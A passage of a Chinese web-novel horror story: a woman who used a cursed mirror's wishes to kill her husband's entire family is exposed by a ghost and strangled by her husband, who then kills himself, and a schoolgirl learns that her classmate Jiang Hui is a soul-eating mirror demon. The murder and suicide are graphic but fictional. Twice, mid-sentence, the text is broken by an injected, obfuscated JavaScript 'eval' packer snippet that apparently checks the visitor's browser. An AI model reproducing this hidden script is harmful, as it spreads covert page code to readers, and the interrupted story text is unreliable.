瞿星瑶的丈夫是她自己争取来的,曾是灵异社的老大,魏宇。 为了他,她不得不再来这里一次。可谁能知道在这之前,她已经安排好了自己的后事,只等爱人一死,便与对方一起共赴黄泉。 直到镜子再次找到了她。 这让瞿星瑶心底再一次燃起了对于生命的渴望。她原本的计划是打算利用她那对禽兽不如的舅舅舅妈领养的女儿林盛阳来拉安然下水的,但那姑娘在那两人的教育下既胆小又愚蠢,哪怕自己用将她带出国为条件,进度连差强人意都够不上,如果不是秦以淮,她说不定还要花上好多时间才能真正实施。 但无所谓了,也许明早天一亮,她就能离开着该死的地方,飞回M国和丈夫团聚。 瞿星瑶想到丈夫,眼神柔和了下来。人生不过都安段几十年,她不过是想要过的幸福一点,又有什么错? 嘶吼声渐渐停了,只有偶尔蠕动的黑影还是窗沿边经过。 那扭曲的影子在瞿星瑶的眼中越拉越长,眼前原本陌生的教室也在她不断飘散的思绪里渐渐变成了熟悉的模样。 瞿星瑶在考进一中的第一天,就感受到了来自镜子的呼唤。直到现在她也坚信只有像她这样天生站在食物链顶端的人才有机遇得到这样独特的殊荣。 但其实一开始,瞿星瑶以为那不过是自己的幻觉。 只是渐渐地舅舅舅妈撕下了他们伪装的皮囊,那虚假关怀的表象下不过是两只巨大贪婪的水蛭。他们想方设法榨取她的血液,从一开始的有所顾忌变成了后来的肆无忌惮。 痛苦滋生出对父母更深思念。思念的情绪有多浓,她对害自己父母出车祸的凶手就有多恨。恨意与思念交织纠缠,在她心底扎了根,结出了畸形却散发着异香的果实。 这是瞿星瑶第一次妥协。献祭了舅舅那个沉迷于抢走她所有东西的女儿。 只是那声音分明也说了,愿望只有一个。 可她不仅想知道凶手是谁,还想让对方付出应有的代价。但她不想直接让对方死掉,那样实在太便宜他了,她希望那人能尝一尝自己这些年所遭受的痛苦。 大概是经验不足,瞿星瑶想着能拿出600万来赔偿的人一定是凶手,于是她许愿让那个‘600万’痛不欲生。 第二次。 是因为无意间得知自己最亲近的学姐和自己暗恋的人才是真正害死她父母的凶手。如果那天不是他们两人拌嘴,如果不是萱姐负气跑向马路,如果不是他们的父母为了避开他们,他们就不会被后面开来的大货车直接碾压到看不出人形,她就不会变成一个没人要的孩子。 在爸爸妈妈的陪伴下她会很幸福的成长,而不是像现在这样——-任何稍微善意一点对待都让她恨不得献出自己的所有。 每每想到自己提到车祸哭的惨兮兮的样子,萱姐过往的温柔安慰都变得虚假了起来。瞿星瑶忍不住想,也许萱姐安慰自己的表面下是一副肮脏虚伪嘲讽的嘴脸,她很可能正在内心肆无忌惮地嘲讽着自己这种可怜而卑微地朝着肇事者寻求庇护的丑态。 愤怒、仇恨还有些她一直不愿承认的嫉妒在瞿星瑶心头燃起了足以将一切吞噬殆尽的火焰,更是将那时她为数不多的理智烧了个七七八八。 她第二次感受到了镜子的召唤。 也许是萱姐曾真的让她感觉到了温暖和宽慰,瞿星瑶犹豫的时间远比第一次要长的多。 压垮骆驼的最后一根稻草是老大的身体开始出现衰弱,他的生机在没由来的消失。不止老大,他的堂兄、堂弟,甚至他的大伯、二伯、他的父母...都出现了同样的症状。 瞿星瑶猜测是她许下的第一个愿望应在了老大身上。 当初拿出那600万的人很可能就是老大家中的某个长辈,而能让一个老人感到痛不欲生无非是白发人送黑发人。 她知道尽管现在还不明显,但时间一长,老大一定会死。 瞿星瑶没想到自己的第一个愿望会应在自己心爱的人身上,于是她将所有的错归咎于萱姐。如果不是她跑到马路上,老大就不会去追,他不追,她的父母就不会死。 所以她给老大喝了掺有安眠药的牛奶,代替他和萱姐一起寻找镜子。他们很容易就相信了她的说辞,谁都没有怀疑过她,唯一遗憾的是她一开始是想让第一个愿望作废,但镜子却告诉她只能救一个。 在那之后,她陪在老大身边,看着他身边的亲人一个个死亡,陪着他走过了最痛苦的时光,最后理所应当成为了他的爱人。 他们相濡以沫将近20年,如今她只想将这份感情一直延续到他们都白发苍苍的那一天。 瞿星瑶唇边挂着的幸福笑容被几乎要划破耳膜的‘嘎吱’声震碎在了脸上。 她猛地抬头看向门口,昏暗的教室门口飘着一张破布似的东西正随着夜风来回晃动。瞿星瑶捂住嘴,没有贸然发出声音,期待着它只是不留神路过这里。 但下一刻——- “瑶瑶...瑶瑶...你在这儿么?” 这声音...是萱姐的。 怎么会... 萱姐早就死了。 “瑶瑶,你白天的时候明明看见我了,为什么不带我离开?我们不再是最好的姐妹了么?” 瞿星瑶感觉身上的毛孔像是被人灌进了刺骨的冰水,整个人忍不住颤抖了起来。她在教室里的确看到了萱姐,熟悉的身形,熟悉的刘海,哪怕没有了五官,瞿星瑶还是在第一时间将人认了出来。 也许是因为午夜梦回偶尔会梦到对方,也许是成年人对仇恨释怀后生出的些许愧疚,瞿星瑶的确没有忘记过萱姐,她知道她的丈夫也没有。 所以在几次为数不多的吵架拌嘴中,那个多年前早已死去的人才会成为他们争执内容的一份子。 “瑶瑶...你出来呀,你出来呀瑶瑶...”萱姐的呼唤像是催命的符咒,刮的瞿星瑶耳膜生疼。她死死捂住耳朵,想要隔绝那些声音,可那一声声瑶瑶像是自己有了生命,一个劲儿的往她耳朵里钻。 “啪嗒——” “啪嗒——” 门口的萱姐许是得不到回应不再满足于呼唤,而是往教室里走了几步,啪嗒啪嗒的声音落进瞿星瑶耳朵里顺着血管掉在了她扑通扑通狂跳的心脏上。 她往角落里又缩了缩,裸露的手臂触碰到墙角传递回来的却不是墙面的触感,而是某种木制品。瞿星瑶惊喜地看向身侧,蓦地发现自己旁边竟是一扇后门。 刚刚实在是太过紧张,竟都忘了自己一开始便特意挑选了这个逃跑的最佳位置。 好在萱姐走的很慢。 她将手放在了门把上,只要轻轻一拉,就能立马摆脱那个疯女人的纠缠。 “瑶瑶...你想要魏宇,为什么不直接说呢?你知道的,只要你说,我什么都会让给你...”萱姐声音幽幽的,带着让人毛骨悚然的怜惜和幽怨,那语气像是埋怨自己无理取闹的妹妹。 瞿星瑶拉门的动作一顿,但还是将门拉开了一道窄窄的缝。 “还是你真的天真到以为凭你能抢走魏宇?”萱姐的语气变得嘲讽:“难道你就一点没有怀疑过你的丈夫为什么会突然生病?” 瞿星瑶没有说话,唇瓣渗出的鲜血为她苍白的脸颊添上了一抹艳色。 “瑶瑶,做过的事总是要付出代价的,我不是告诉过你,这世上没有不透风的墙么...”萱姐叹了口气,给了瞿星瑶致命的一击:“你真该跟我一起看看魏宇知道真相时的那副表情,他表情难看的活像是吞了一只苍蝇。我还是第一次见他露出那样厌恶的神色。” “而你...在他眼里就是那只肮脏的终日盘旋在粪坑里的苍蝇。”整间教室都响彻着萱姐尖锐而快意的笑声。 鲜血顺着瞿星瑶的唇边缓缓留下来,咸腥的味道盈满了口腔,手腕被她咬的生疼,但半分也不及心头身升起的恐惧。要说这个世界上她有什么害怕的,唯一恐惧的源头便是丈夫会知道当年的真相。 她刚刚差点没忍住反驳那个疯子,但最后关头以死死咬住手腕为代价阻止了自己冲动。 瞿星瑶知道对方在撒谎。 如果萱姐真要有联系魏宇的能力,也不会被困在镜子里成为一具无脸的行尸走肉。这女人之前做不到,如今更不可能做得到。 萱姐大约和之前一样,只能通过声音辨别她所在的位置。所以对方才会不停的激怒自己,希望自己沉不住气发出声音,好给她致命一击。 但人就是这么奇怪,明明知道这一切不可能是真的,还是自虐般忍不住继续听下去,明明转身离开就能逃生,偏偏脚下像是被钉子钉牢般一动不动。 “是你杀了魏宇家上下116口。包括他那几个还在上幼儿园的小侄子,小侄女...哦,对了,还有一个刚满月的小宝宝。她还没长大,就惨死在你那肮脏的欲望下...别说什么你也不想的,也别说什么你有多愧疚。你敢说你在许愿是没有满心恶意?没有希望所有人都去死?你的那点廉价的愧疚无非是因为他们是魏宇的亲人!换做是陌生人,你连眼神都懒得瞟吧?因为你骨子里就是个冷血的养不熟的白眼狼!” “也是你那个将你当妹妹一样疼的我给推进镜子,成为你实现愿望的祭品...” 瞿星瑶整个人都在颤抖,她想要反驳,想要理论,想要大声地告诉对方她说的这一切都不是真的,但理智将不管不顾的疯狂牢牢拴住,瞿星瑶知道自己不能在待下去了,再下去她必死无疑,但刚一拉开后门,就看到了一张她无论如何也想不到的脸。 那张脸是英俊的。 但在此刻的瞿星瑶眼里却比这个世界上所有的怪物都要恐怖。 “你真的在这里。”魏宇声音平静地听不出半点起伏,“她说的都是真的么,小瑶?” 瞿星瑶瞪大的眼睛里满是惊愕和恐惧,灵魂像是被什么不可名状的怪物强行抽离一般呆立在原地,她的嘴唇微微张开,却发不出半点声音,只机械地吐出几个无意义的音节。 魏宇往前走了几步,伸手抹掉瞿星瑶脸上的泪痕,语气仍如往常那般温柔:“小瑶,告诉我...她说的是真的么?” “我...我...”大颗大颗的泪水从瞿星瑶眼底掉落,身体因恐惧而微微颤抖,嘴唇翕动,她想说那女人说的不是真的,想说自己没有,想要解释,但看着丈夫那双满是温柔的眼睛,却吐不出半句否认的话语。 “嘘嘘嘘...”魏宇轻柔地捧起瞿星瑶的脸,像是对待这个世界上最珍贵的宝贝,“别哭,别哭,老婆。是我对不起你...我不知道...当年那对夫妻原来是你的父母...是我不好,爷爷说他会处理,会给他们家足够的补偿,我就理所应当的放下了所有的愧疚。我早该想到的...失去父母会对一个孩子造成多大的影响...” 也许是魏宇的眼神太过于温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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窒息的痛苦让瞿星瑶下意识挣扎了起来,但力道并不强烈,魏宇将人死死勒紧,脸颊通红,牙关紧咬,声音含混:“我的侄子、侄女会跟在我屁股后面...叫我叔叔,我的...外甥女...是我姐的第一个孩子,她才刚刚满月...我准备的长命锁...永远都送不出去了...我的父母,我的叔伯、我的婶姑、舅姨、我所有的兄弟姐妹...”魏宇每提起一个人,手上的力道便增加一分。 “我的爷爷...那个...会笑着叫你丫头的老头...最后将吊死在薛家的老宅里...你说...你说我怎么替他们原谅你?” 瞿星瑶眼眶充血,瞳孔布满细碎的红痕,鲜血从眼眶和口鼻渗了出来,整张脸看上像是个被人捏烂了番茄。深红的血管宛若盘蛇,在她已经变成粉红的皮肤下游走。她的指甲深深嵌进魏宇皮肤,嘴唇蠕动了几下,便彻底不动了,那双眼睛死死的瞪着前方,仿佛下一秒就会从眼眶中摔落在地上。 魏宇感受着怀里瘫软下来的尸体卸了力道,脚下突然一软跌倒在了地上,尸体被他护在怀里,失声痛哭。瞿星瑶刚刚说的话,他听到了,她说不怪他,让他好好活下去。 可他要怎么活呢? 亲人全部惨死于爱人手里,他甚至心安理的准备和对方要个孩子。幸运的他,每次都能幸运地躲在别人撑开的羽翼下心安理的肆意生活,过去是家人,后来是瞿星瑶。 他们承担了将本该由他承担的痛苦和责任。 如今他又亲手杀死了自己的爱人。他才是最该死的那一个。 魏宇合上了瞿星瑶死不瞑目的双眼,用袖口默默擦拭着瞿星瑶眼耳口鼻流出的鲜血,抹了把脸上浑浊的泪看向教室,“是我们夫妻俩对不起萱宜...” 说完从口袋里摸出一把闪着寒光的匕首,对着自己脖颈狠狠一划,大量鲜血顺着伤口喷洒了出来,滚烫的血液溅射.在瞿星瑶冰冷的尸体上,像是在初雪上绽放的彼岸花。 巨大的伤口让魏宇捂住脖颈的动作成了徒劳,窒息让他下意识张开嘴想要呼吸,但除了血液的甜腥再没有其他气体涌进他的气管,眼泪模糊了他的视线,拼着最后一口力倒在瞿星瑶身边,安心的闭上了眼... ********* 周围陷入了长久的沉寂。 没有浮动的鬼影,没有凄厉的嘶吼,就连之前哀怨的质问也在两人的死亡中归于平静。 黑暗中,站在教室中央的扭曲阴影突然动了一下。 “呵,倒是一往情深。” 语调很淡,听不出是感叹还是嘲讽,但声音却和之前的细软有了很大的不同。话音一落便有什么从那道影子上簌簌掉了下来,只眨眼的功夫,原本还看不出模样的阴影渐渐有了人的形状。 看影子,是个女人。 女人走出教室,高跟鞋落在冰冷的水泥地上发出清脆地哒哒哒的回音。 “我用这两个人的灵魂换陆萱宜离开这里。”女人淡漠的声音响彻在寂静的教室。 没有人回答,女人却做出了倾听的姿势,不知道听到了什么,她的眼睛微微眯了起来,语气嘲讽:“那和我没有关系。我已经给了你两个人,陆萱宜今晚必须跟我离开。还是说其它人...再加上一个我,你现在也都能搞定?” 那一头似乎是陷入了沉默,女人也不再说话,而是靠在墙边垂眸看着地上的两具尸体,不知道在想些什么。 忽地,漆黑的走廊尽头响起了细碎的窸窸簌簌。 女人环抱的双手放了下来,眼神戒备地扫向声音传来的方向。渐渐地,一张白皙清秀的脸在黑暗中清晰了起来,女人一愣,随即眼眶便红了,上前一步将人牢牢抱进了怀里。 但被抱着的人眼神却始终保持呆滞,双手垂在身体两侧,像个不会说话的行尸走肉。 女人抱了好一会儿才反应出了不对,她将双手搭在陆萱宜的肩头,轻声呼唤:“萱萱...萱宜...陆萱宜?” 陆萱宜并没有因为对方的呼唤而露出半点人性化的表情。 女人有些急了,对着虚空质问:“她的魂魄怎么了?为什么没有反应?” 似乎是听到了什么让她怒不可遏的回答,女人眼中的怒火如有实质,她攥紧了拳头,咬牙切齿:“好。你最好祈祷不要有一天落在我们陆家手里...” 说着她咬破了自己的食指,殷红的血液在她指尖汇聚成里一颗血珠,分别在目光呆滞的陆萱宜眉心、眼皮、下巴的位置各点了一下。 陆萱宜原本清晰的轮廓渐渐模糊了起来,几个呼吸间,她的身影便消失在了原地,只余一团纯白的光团。女人从怀里拿出一个布袋,撑开袋口,念了几句晦涩的咒语,那光团便自行飞了进去。 束好袋口,女人将布袋贴近脸颊,轻声道:“萱萱,阿姐带你回家...” 她按了按眼角尚未滑落的泪滴,咬破中指,蘸着指尖上的鲜血在虚空中画了一道符。 深红色的符文悬浮于半空,画下的每一笔似乎都在耗费着女人的精气,待到最后一笔落下,女人的脸色已经宛若一张苍白的纸,仿佛轻轻一扯就能轻易将她撕碎。 只见女人五指并拢呈掌,对着画好的符箓轻轻一推,那些字符便像是活过来一般整齐摆列成了一行。 “开。” 字符消散的一瞬,女人面前出现了一道暗红色的缝隙,缝隙在她眼前渐渐变大,足有一人高后,才停止继续扩散。缝隙另一头同样是夜晚,夜黑风高,林间山风呼啸,黑暗中却有点点星火缭绕。 女人将布袋揣进怀里,头也不回的钻了进去... *********** 宿舍楼。 三人大眼瞪小眼地看着彼此。 其实没安然什么事,准确的说是秦以淮和林异大眼瞪小眼地看着对方。 林异其实还情有可原,秦以淮也这么吃惊就有点奇怪了。 安然皱眉看着秦以淮:“你不是来找林异的么?怎么这副表情?” 秦以淮看着土掉渣的林异一脸嫌弃:“我是找林异没错,但其实我不知道他长什么样...” 这个理由实在让人觉得有点扯淡,安然抿唇:“警局里难道没有林异的案宗,现场照片之类的么?” 秦以淮摇头:“没有。他的案卷不见了。就连一张现场照片都没有。当年侦办这案子的警察也辞职了。”见安然欲言又止,他率先给了对方答案:“学校也没有他的档案。他的档案不知道为什么不见了。我一开始还以为是学校担心这种事会影响声誉,但现在看来应该是被人拿走了。” 说着秦以淮眉头都快凝成疙瘩了,眼中的不情愿几乎溢出眼底:“你确定他是林异?不会是什么东西假扮的吧?” 安然听罢也支着下巴看向林异。 林异被两人看的有些不自在,声音结结巴巴:“我...我不是什么东西...” “你怎么这么不经逗?”秦以淮一听扑哧笑了出来:“不过也对。也只有你和我长得一样...才说的通。” 安然听出秦以淮话里有话,试探问道:“秦以淮,你和林异到底什么关系?” 秦以淮走过去揽住林异的肩膀,笑的意味深长:“我们可是如假包换的亲兄弟。” 45. 第45章 安然听出秦以淮话里有话,刚想说点什么,却见对方突然朝自己使了个眼色。 什么意思? 她有些不明就里。 但下一刻,刚还一副哥俩好样子的秦以淮,突然从怀里拿出一样东西,朝着身侧的林异就甩了过去。林异躲闪不及,被那东西缠了个正着。 安然皱眉,刚想问秦以淮干什么,就见林异原本清澈澄净的黑眸像是浸在水里的墨渐渐失了颜色,黑色褪去成了毫无生机宛若水银的纯银色调,那头一言难尽的阴郁半长发也成了如瀑布般的银白色长发。 而亮着昏黄灯光的宿舍也像是附着在另一个空间表面的蜡,渐渐融化后露出了原本的面目:惨白的墙壁变成了光滑的镜面,就连脚下老式的墨绿色地砖和头顶的天花板也都是镜子。但这还不是最恐怖的,最恐怖的是这些镜面上倒映出的人影并不是他们三人,而是无数堆叠在一起的或人形或非人形的东西。 他们的脸... 安然不知道那些已经成蜡化混合在一起的五官还能不能称之为脸,她甚至不确定那些五官或是躯干甚至四肢还是不是他们本人的。 突然镜子里的那些东西动了一下。蜡化的身体呈一种油腻的暗黄色,像是某种远古的蠕虫,正在进行某种有规律的蠕动。 “碰!” 粘腻的手掌拍在镜面上留下黄红斑驳的掌印。 又是一声“碰”。 第二个手掌落在了一尘不染的镜面上。 安然下意识往后退了一步。 那些东西还都活着。 他们敲击着镜面,如同绝望的困兽,勉强能称作嘴的地方大张着,似乎正发出尖利、扭曲而绝望的呐喊。 但安然什么都没听到。 顷刻间,无数红黄交杂的掌印覆满了所有的镜面。但这并没有让她在视觉上感到好受一些,相反,那种隐匿在掌印之下的压抑和窒息犹如欲来的山雨压的她喘不过来气。 秦以淮似乎也对周遭的氛围感觉到了不适,只是这种不适看上去比安然要强烈许多。 安然走到秦以淮身边,原本是将人扶到墙边的,但六面都是玻璃,他们像是在罩在容器里的两只仓鼠,最后只能选择直接坐了下来。 “怎么回事?”安然看着秦以淮惨白到几乎看不到血色的脸,微微皱眉。 秦以淮撑着身体缓了好一会儿,才将自己之前遇到姜慧的事情大致说来一遍: 他和林异的确是兄弟,而他之所以能找到姜慧是因为对方身上有林异的气息。姜慧告诉他,林异的魂魄被她从镜妖那里偷了过来,而现在林异就是镜妖,为的就是迷惑他们,如果镜妖不消失,所有人都会被困死在镜子里。 安然抿唇,看了眼角落里那个自从‘变身’后就陷入了昏迷的林异:“可你不觉得事情有些不对么?如果林异真的是那个吞噬了那么多学生的镜妖...会不会太孱弱了点?这个时候晕过去对他没设么么好处吧?还是说你那是什么有昏迷buff的鞭子?” “那不是鞭子...”秦以淮刚想说点什么,整个人却突然间颤抖了起来,额头渗出大颗大颗的冷汗,看向安然的眼底布满血丝,从牙缝里挤出来几个字:“...事...情...不对劲...” 安然看着对方突然变得痛苦的模样一时间也有些慌了神:“秦以淮,你怎么了?” 但这时的秦以淮已经完全失去了说话的能力,倒在地上,额角青筋暴起,喉间发出痛苦的闷哼。安然怕他咬到自己的舌头,废了九牛二虎之力才将衣角上拽下来的一小块布塞进他的嘴里。 秦以淮这头乱作一团,林异那头也没好上多少,刚还一副睡美人模样的家伙不知道什么时候醒了,正用那双无机质的眼神看着他们,眼神空荡荡的没有半点焦距,身上还被一种粘滞的银色液体附着着。 安然仔细一看才发现那些液体竟是从林异自己身上流出来,而那根之前捆绑的东西似乎正在往他身体里钻,也许是因为被银色物质包裹,那根像是鞭子一样的东西轮廓竟清晰不少。 那的确不是鞭子,而是某种动物的脊椎骨,安然想象不到什么样的动物才会有如此长的脊椎,就她目前的常识来看,也就只有某些热带雨林会出现的巨蟒才会有这么长的骨头。 现在那根骨头正在往林异身体钻,但奇怪的是林异没有半点反应,秦以淮却像是被那种疼痛折磨的早已脱力,整个人仿佛刚从水里捞出来似的无力的倒在地上,就连胸口的起伏都变得十分微弱。他的脊背痛苦的拱起,湿透了的衣服紧紧贴在身上,隔着皮肤,安然甚至能看到他的脊椎正在一节一节的凹陷。 那场面看上去十分骇人,感觉下一秒秦以淮的身体里就会钻出什么不可言说的东西。 但好在林异只是看着他们,并没有什么动作,安然只能一边戒备地看着他,一边尝试唤醒意识模糊地秦以淮。 无力感几乎快要压她喘不过气了。 ‘咔嚓——’ 安然心脏狠狠一抽,一种强烈的危机感促使着缓缓看向头顶,只见镜面上出现了一条长长的裂痕,那裂痕几乎贯穿头顶,那些镜子里的东子似乎收到了某种召唤正死命的挤压着镜面。 ‘咔嚓——’ 又是一声让人心悸的脆响,安然脚下以秦以淮所在的位置扩散出了一道蛛网状的裂痕。她赶忙俯下身,四肢着地,想要将秦以淮往其他地方拉。 但刚触碰到秦以淮就察觉到了不对劲,他的身体很软,似乎有些太软了,像是某种没有骨头的软体动物。但这会儿她也顾不上对方身体上的异样,小心翼翼将人往自己所在的位置拉。 没有想象中的寸步难行,秦以淮的身体似乎格外的轻,她几乎没费什么力气就将人拽到目前还算得上安全的位置。 “秦以淮...秦以淮...”安然轻拍着他的脸颊。只是除了微微起伏的胸口还证明眼前的人还活着外,没有半点回应。 咔嚓声不绝于耳,她甚至能看到那些粘腻的黄红液体正顺着镜子的缝隙渗透出来,一旦镜子碎掉,不用想也知道他们的下场不会好到哪里去。 安然抿唇,从怀里拿出那把在讲台上拿到的匕首,看了眼昏迷不醒的秦以淮又看了眼站在原地一动不动的林异,决定赌一把。 她拿着匕首,爬向林异身后,对着他后背的位置就是一下,尖锐的刀刃没感到什么阻力就直接陷了进去。粘稠的银色液体一下子涌了出来,她下意识松开了握着刀的手,一抬头竟对上了林异的那双妖异的银色瞳孔。 安然被对方这突如其来的一下惊得差点没摔到地上。 就在她以为自己死定了时候,林异那双银色的眼睛竟有一只慢慢变成了黑色,那只眼睛里满是安然看不懂的哀伤:“...姜...慧...镜子...”说着缓缓抬起手点在了安然的眉心上。 安然只觉得大脑一片晕眩,朦胧的视线里是林异七窍争先恐后流出的银色液体,她张了张嘴,却没有半点声音,她回头看向身后的秦以淮,模糊的人影似乎正被什么拖拽着,她想要阻止,却被一阵更加强烈的晕眩阻止。 “秦...以...” 彻底失去意识前,安然听到了镜面碎裂的声音... *************** 秦以淮!!! 安然猛地睁开眼睛。 她发现头顶已经不再是破碎的镜子,而是一片雪白的天花板,比天花板更白的是那些闪着刺眼光亮的白炽灯。 “醒了?”一道清亮的女声在她耳边响起。 安然看向声音传来的方向,一张熟悉的脸瞬间映入眼帘。 那人见她醒了,一双含笑的杏眼弯了起来:“虽然你已经认识我了,但见面还是第一次。重新认识一下,你好,我是姜慧。” 安然从桌子上坐了起来,看着对方伸到自己面前的右手,没有回握。看着面前这个笑靥如花的女孩儿,她只觉得浑身冰冷。她尽量控制住声音里的颤抖:“你把秦以淮和林异怎么了?” 她现在几乎已经能肯定眼前的这个姜慧才是真正的镜妖,虽然很多细节还都没弄清楚,但排除所有的可能性后,哪怕最后的答案再不可思议,也无法否认那就是真相的事实。 姜慧收回手,也不觉得尴尬,那双杏眼里的笑意更深:“其实你没必要这样的,如果换个时间换个地点,也许我们会成为很好的朋友。” 安然没有回答,而是看向眼前这间空荡荡的教室。 姜慧也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦亲爱的,你的血可不止这点用处。我其实挺想存它个几十上百桶的…”姜慧说这话的时候神情认真,原本灿烂的笑容上带上了几分恶意,“还有...你不觉得这儿有些眼熟么?” 安然顺着姜慧的话,将这间教室完完整整的打量了一遍——-和其他教室没什么区别,要说眼熟...除了教室后面挂着时钟以外,还真没什么... 想到这儿,安然的脸色瞬间难看起来:“那些学生呢?” 姜慧手指夹着张满是折痕的白纸,又拍了拍自己的肚子,“我说了我真的很感激你。”她舔了舔嘴唇,像是再回味某种美味的食物,神情餍足,“真的是好久...没吃这么饱了。” 安然一摸口袋,果然,之前放在口袋里的那份名单不见了。 “不要这副表情嘛!如果不是让林异钻了空子,这些人哪里还能留到现在?三魂七魄早就散了个七七八八,能留到现在都已经是奇迹了。而且就算能出去,投了胎,也不过是个心智不全的傻子,与其在这人世间受苦,倒不如和我融为一体。” 姜慧的说辞并没有让安然好受一点。 如果这里真是林异给这些学生寻到的避难所,那她就是那个打开门锁引来怪兽的人。她看着对方刺眼的笑容咬牙切齿:“所以呢?你...到底是谁?姜慧还是镜妖?你和另一个姜慧又是怎么回事?” “这很重要么?不管我是谁,你都无能无力。”姜慧无所谓的摊手。 “不,你需要我...或者你需要我的血...”安然盯着姜慧的脸,不错过任何表情,“但存在着某种限制。而这种限制...需要我保持清醒...要不然刚刚趁我昏迷的时候你就动手了。” 姜慧脸上始终保持着灿烂的笑,对于她的话,既不承认也不否认。 安然看着姜慧的神情若有所思:“不...也许不止是清醒,你需要我的配合...对么?” 姜慧脸上的笑渐渐收敛。 “秦以淮和林异呢?放了他们,否则...不管你要做什么,我都会拒绝。” 姜慧没有说话,像是在思考,突然,她的脸上露出了一个有些怪异的笑:“你觉得灵魂是什么?或者换个问题,你猜为什么我当初非选林异不可?” 46. 第46章 安然自然不知道答案。 在这之前,她甚至不相信这世上有鬼。 姜慧见安然一脸茫然,啧了一声嘟哝道:“还真是暴殄天物...”她看了眼教室墙上的挂钟,又看了眼安然:“还算有点时间。”说着她向着虚空中打了个响指,周遭的一切瞬间就变了个模样。 不再是教室,而是一个漆黑的,悬浮着无数碎镜片的空间。中央悬浮着一团巨大的银色圆球,银色的液体在表面浮动。一根长长的类似脊椎的东西包裹其中,随着液体的流动时隐时现。 看上去像是活的。 “那是...什么?” 安然指尖微微颤抖,心中生出了几分猜测。但那个念头只冒出了个头,就被她的理智给强行按了下去。她忍不住往前走了几步。离的近了,才发现这个圆球既不是空的,也不知实心的。银色液体之下包裹着无数黄红的蜡状怪物,和她之前在镜子里看到的一模一样...只是现在,它们不再如之前那般暴躁,安静了许多。如果不是偶尔的蠕动,安然甚至以为它们已经死了。 “我其实有点好奇...”姜慧凑近安然,眼底闪着兴味的光,“人们人类这种自我欺骗的做法...真的能让你们在感官上好受点儿么?” 见安然不吭声,露出了个了然的表情:“看来是不能了。那为什么还要那么做呢?你知道的,不是么?”姜慧伸出两根手指,做了个隔空拿捏的动作:“那就是你心心念念的林异和秦以淮。” 安然知道秦以淮身上有很多秘密,但设想的众多可能性里,并不包括眼前这个非人的球体,她感觉自己已经被刷新过一遍的三观再次变得岌岌可危起来。 姜慧不管安然难看的脸色,挑眉看向那团巨大的银色光球:“啧啧啧,早知道那个叫秦以淮的小子能有这本事...”她的声音戛然而止,忽地,脸上露出了个玩味的笑:“啊~原来还能这样~” “你什么意思?” 姜慧扯出了个怪异的笑容:“我只是没想到这两兄弟加在一起竟然还能起到一加一大于二的效果...简直是意外之喜...” 安然直觉对方说的并不是实话,但眼下双方实力悬殊,便也只能听着。 “他们还活着么?我是说...他们还有自己的意识么?...还能恢复么?” 姜慧耸肩,回答的漫不经心:“自然是活着的。至于有没有自我意识,能不能恢复,谁知道呢。也许能,也许不能。我和他们又不是一个物种...可能将那些东西全都消化掉就能恢复。又或者就这样了,谁又说的清呢!” “你拉林异进来的原因...其实不是当替身。对么?”安然的视线从水银球移到姜慧身上。 “聪明。人的魂魄是这个世界上最纯净的能量之一。”姜慧声音慢悠悠的,像是回味什么不得了的美味,“但越是美味的食物,就越是没办法轻易获得。听过人体的自我保护机制吧?其实魂魄同样有。” “那些...”姜慧走到安然身旁指着银色球体里的蜡状怪物,“就是魂魄自我保护机制下产生的具有攻击性的...‘杂质’。虽然强行吸收也不是不行,但时间长了,还是存在一定风险的。” “所以林异的能力是清除这些...‘杂质’?” 见姜慧看向自己时露出了个孺子可教的眼神,安然脸色变得愈发难看,这得是多少灵魂... “脸色别这么难看嘛!你想想一年只能吃一次自助,其他时间还只能饿着,换你会不会也想趁这个时候多吃点?”姜慧舔了舔嘴唇,露出个少女独有的娇俏笑容,“如果不是...那个那个小姑娘,叫什么来着?嗯...让我想想...叫...万...万...” “万胜柔?” “对对对!万胜柔!”姜慧一拍掌心,“如果不是她...封印也不会撕开那道小小小口子...” “万胜柔是你杀的?” “怎么会?!”姜慧露出了一个‘我怎么可能是这样的人’的表情控诉地看向安然,甚至还嘤嘤嘤的装模做样哭了几声:“我感激她还来不及,怎么可能伤害她呢!虽然她的死确实帮我放出了那个没用的家伙...” 安然知道,她说的是附着在她脚踝上的另一半姜慧。 显然她身上的姜慧在某种程度上比眼前这个更有人性,而两者唯一不同的... 安然眸光一动,眼神一瞬不错地看向对方:“这就是另一个姜慧从你身体里分裂出去的原因?” 姜慧脸上的笑仍旧挂在脸上,但笑意并不达眼底。 她知道姜慧听懂了。 “林异的能力对你同样有影响...不是么?我身上的姜慧就是被他影响的那一部分,对么?”虽是问句,但安然语气十分笃定。“所以你才会躲着他。” 她记得老头子说过,鬼的本质就是魂魄,所以林异应该也能影响到鬼魂才对。 果然。她猜对了。 姜慧阴郁的脸色说明了一切。 安然乘胜追击:“所以...你现在是姜慧还是镜子?” 姜慧对着虚空再次打了个响指,周围的一切再次发生了变化。 他们回到了之前那间教室。 “我既是姜慧,同样也是镜子。”姜慧支着下巴,整个人都靠在讲台上,眉眼弯弯,仿佛之前的阴郁完全是安然的错觉,“因为我们本来就是一体的呀。” 安然还想说点什么,姜慧将食指立在唇边,做了个嘘的动作:“时间快到了。注意看...” 她顺着对方手指的方向看向窗外,果不其然一道熟悉的身影正从教室外的走廊上经过。 安然瞳孔皱缩,那人不是她自己又是谁?! ********* 安然面前是一条走廊。 走廊一边是暗沉的天色,另一边则是整齐的宛如坟墓的教室。 她趴在窗户看向教室,里面空荡荡的什么都没有。 姜慧不见了。 “滴答...” 她抬头看向声音传来的方向。 声音似乎是从不远处的厕所里传来的。 “滴答...” 又是一声清晰的滴水声。 理智告诉她在这种未知的情况下,离开是最好的的选择,但她的脚却不由自主地往声音传来地方向迈了过去。那种感觉很玄妙,似乎只是人类某种没有由来的第六感,让她产生了一种如果现在不过去,就要错过什么重要的事。 越是靠近,那种感觉就越是强烈,以至于安然最后几乎是小跑着进了女厕。 